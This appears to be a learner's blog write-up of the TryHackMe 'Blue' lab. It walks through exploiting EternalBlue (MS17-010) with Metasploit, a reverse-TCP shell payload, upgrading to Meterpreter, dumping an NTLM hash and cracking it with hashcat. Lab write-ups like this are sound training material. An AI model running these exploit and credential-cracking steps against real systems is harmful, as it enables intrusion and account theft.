Blue — TryHackMe Writeup

This write-up covers my experience working through the Blue room on TryHackMe, where I learned how to identify and exploit the EternalBlue vulnerability (MS17–010). I documented the process of scanning the machine, confirming the SMB vulnerability, using Metasploit to gain access, managing shells and sessions, dumping hashes, cracking passwords, and locating all three flags. This room helped me understand EternalBlue in a hands-on way and strengthen my skills with Metasploit and Windows privilege escalation.

Tools Used:

· Nmap

· Metasploit/Meterpreter

· Hashdump

· Hashcat

I started with an nmap scan to scan for any vulnerabilities.

Found quite a lot. The question specified said how many vulnerabilities were found for only 1000 ports. So, the answer was 3.

Q: What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08–067)

Can’t see anything with ms??-??? right? So I went to scan the top 1000 ports only

Okay so after trying many scans, I gave up on finding this vuln in nmap and proceeded to find by searching each port vulns on google.

Nothing here.

Doesn’t seem interesting.

Found this article while searching for port 445:

https://www.hackingarticles.in/smb-penetration-testing-port-445/

and this made me think that maybe I could have found something in the above two ports.

So let’s try again.

This article is about port 135:

https://hackviser.com/tactics/pentesting/services/msrpc

So, I tried nmap scan mentioned in it and no other info was found

The vuln must be in smb port then.

Ahh got it!

Now let’s move on to the second section of this.

The next section introduced Metasploit. Before continuing, I decided to pause and work through the Metasploit room on TryHackMe to make sure I understood the basics properly.

During that room, a few explanations stood out to me:

Once you type the use exploit/windows/smb/ms17_010_eternalblue command, you will see the command line prompt change from msf6 to

“msf6 exploit(windows/smb/ms17_010_eternalblue)”.

The “EternalBlue” is an exploit allegedly developed by the U.S. National Security Agency (N.S.A.) for a vulnerability affecting the SMBv1 server on numerous Windows systems. The SMB (Server Message Block) is widely used in Windows networks for file sharing and even for sending files to printers. EternalBlue was leaked by the cybercriminal group “Shadow Brokers” in April 2017. In May 2017, this vulnerability was exploited worldwide in the WannaCry ransomware attack.

Once I felt confident with the basics, I returned to the challenge and launched Metasploit. I searched for the exploit:

Search ms17_010

After that, I selected the full exploit path:

exploit/windows/smb/ms17_010_eternalblue

Had to download its module. Now I can work with it.

Q: Show options and set the one required value. What is the name of this value? (All caps for submission)

Ans: RHOSTS (ofcourse thanks to the metasploit room)

I set RHOSTS with the target’s ip to launch an attack.

“You need to set RHOSTS in Metasploit to specify the IP address or range of target machines for your exploit or auxiliary module to interact with. Without setting RHOSTS, Metasploit wouldn’t know which host or hosts to scan or attack, as RHOSTS provides the necessary context for the module’s operation.”

Here, before assigning payload, its something like this:

The payload has meterpreter in it. Tryhackme wants us to change it to:

set payload windows/x64/shell/reverse_tcp

Then run it by run or exploit.

Get Pradithareddy’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

I tried running the exploit a couple of times, but both attempts failed. At that point, I double-checked my configuration. After some searching (and a bit of help from ChatGPT), I realized what I had missed: the LHOST needs to be the IP from the TryHackMe VPN connection, not my local IP.

Set LHOSTS 10.17.39.32

The exploit finally worked, and I successfully received a shell.

Right after the exploit finally worked, my terminal suddenly flooded with command shells popping up one after another. TryHackMe mentioned that I should press Ctrl + Z to background the session, but when I tried it the first time, nothing happened. For a moment, I wasn’t sure if I was doing something wrong or if the shell was just being unresponsive.

I took a minute to look it up and understand what was happening, then tried again — this time a bit more patiently. Eventually, the session did suspend properly with Ctrl + Z, and everything settled down.

It took a little trial and error to figure out, but once the settings were correct and the shell was under control, the rest of the process went smoothly.

Let’s move to the 3rd task now.

This was the video I found when I was searching for the above problem:

https://youtube.com/shorts/JZZ7XGtpL34?si=vhTMA4BINnAqUehG

According to this, I had to:

Search shell_to_meterpreter

The next step was to switch sessions. The task mentioned listing all active sessions, but I wasn’t sure how to do that. I checked the hint, which gave me to the command:

sessions -l

When I ran it, Metasploit told me there were no active sessions, which meant I had to run the exploit again.

The shell appeared properly this time. I backgrounded it again and returned to the shell_to_meterpreter handler.

I realized I had taken the wrong path, so I backtracked and focused on the correct session.

For this task, I needed to interact with the meterpreter session, which was listed as session 3, so I entered it:

Inside meterpreter, I used the ps command to list all running processes. The goal was to find a process running as NT AUTHORITY\SYSTEM and note its process ID. There were several options available, so I chose one of the SYSTEM-level processes that stood out to me:

PID: 2252

PPID: 556

Name: conhost.exe

Arch: x64

Session: 0

User: NT AUTHORITY\SYSTEM

Path: C:\Windows\system32\conhost.exe

Let’s move on to the next Task now.

We need to find the guests and the users here and crack their passwords. For this, we need to use hashdump.

I’ll copy this hash function and store it in a file.

echo “Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::” > hash.txt

I’ll be using hashcat to crack this.

hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

This is the cracked password. alqfna22

Username is Jon.

Back to the meterpreter to escalate our privileges:

I looked up where Windows stores its password hashes and learned about the path inside the System32.

I went to Windows, system32, config and got my second flag.

While exploring, the systemprofile folder caught my attention. It looked like it might contain something interesting, so I spent a little time poking around. After a bit of wandering, I decided not to dig too deep — especially since I already had administrative privileges at this point.

Nevermind, I got lazy and since I got administration privileges already, I used search for the 3rd flag.

So this was it. TryHackMe room Blue. There was a lot to learn from this room and this helped me a lot. Thanks for reading!